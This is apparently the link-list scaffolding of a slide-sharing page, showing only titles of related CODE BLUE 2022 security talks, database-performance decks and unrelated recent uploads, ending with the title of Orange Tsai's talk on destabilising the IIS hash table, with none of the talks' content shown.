Михаил Епихин — Бутылочное горлышко. как найти узкие места сервиса и увеличит...
Beyond PHP - it's not (just) about the code
Profiling Oracle with GDB
Stacki: Remove Commands
Top-5-production-devconMunich-2023-v2.pptx
Ash Outliers UKOUG2011
Profiling of Oracle Function Calls
Patterns in the cloud
Sql server scalability fundamentals
Troubleshooting Tips and Tricks for Database 19c ILOUG Feb 2020
Scaling the #2ndhalf
Ad

More from CODE BLUE (20)

PDF
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
PDF
[cb22] Tales of 5G hacking by Karsten Nohl
PDF
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
PDF
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
PDF
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
PDF
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
PDF
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
PDF
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
PDF
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
PPTX
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
PPTX
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
PDF
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
PDF
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
PDF
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
PDF
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
PDF
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
PDF
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...

Recently uploaded (20)

PPTX
lesson6-211001025531lesson plan ppt.pptx
PPTX
Tablets And Capsule Preformulation Of Paracetamol
PPTX
An Unlikely Response 08 10 2025.pptx
DOC
学位双硕士UTAS毕业证,墨尔本理工学院毕业证留学硕士毕业证
PDF
Parts of Speech Prepositions Presentation in Colorful Cute Style_20250724_230...
PPTX
Introduction to Effective Communication.pptx
PPTX
_ISO_Presentation_ISO 9001 and 45001.pptx
PPTX
Relationship Management Presentation In Banking.pptx
PPTX
Presentation for DGJV QMS (PQP)_12.03.2025.pptx
PDF
oil_refinery_presentation_v1 sllfmfls.pdf
PPTX
The spiral of silence is a theory in communication and political science that...
PPTX
INTERNATIONAL LABOUR ORAGNISATION PPT ON SOCIAL SCIENCE
PPTX
Tour Presentation Educational Activity.pptx
PPTX
BIOLOGY TISSUE PPT CLASS 9 PROJECT PUBLIC
PPT
The Effect of Human Resource Management Practice on Organizational Performanc...
DOCX
ENGLISH PROJECT FOR BINOD BIHARI MAHTO KOYLANCHAL UNIVERSITY
PPTX
AcademyNaturalLanguageProcessing-EN-ILT-M02-Introduction.pptx
PPTX
nose tajweed for the arabic alphabets for the responsive
DOCX
"Project Management: Ultimate Guide to Tools, Techniques, and Strategies (2025)"
PPTX
PHIL.-ASTRONOMY-AND-NAVIGATION of ..pptx
lesson6-211001025531lesson plan ppt.pptx
Tablets And Capsule Preformulation Of Paracetamol
An Unlikely Response 08 10 2025.pptx
学位双硕士UTAS毕业证,墨尔本理工学院毕业证留学硕士毕业证
Parts of Speech Prepositions Presentation in Colorful Cute Style_20250724_230...
Introduction to Effective Communication.pptx
_ISO_Presentation_ISO 9001 and 45001.pptx
Relationship Management Presentation In Banking.pptx
Presentation for DGJV QMS (PQP)_12.03.2025.pptx
oil_refinery_presentation_v1 sllfmfls.pdf
The spiral of silence is a theory in communication and political science that...
INTERNATIONAL LABOUR ORAGNISATION PPT ON SOCIAL SCIENCE
Tour Presentation Educational Activity.pptx
BIOLOGY TISSUE PPT CLASS 9 PROJECT PUBLIC
The Effect of Human Resource Management Practice on Organizational Performanc...
ENGLISH PROJECT FOR BINOD BIHARI MAHTO KOYLANCHAL UNIVERSITY
AcademyNaturalLanguageProcessing-EN-ILT-M02-Introduction.pptx
nose tajweed for the arabic alphabets for the responsive
"Project Management: Ultimate Guide to Tools, Techniques, and Strategies (2025)"
PHIL.-ASTRONOMY-AND-NAVIGATION of ..pptx

[cb22] Lets Dance in the Cache Destabilizing Hash Table on Microsoft IIS by Orange Tsai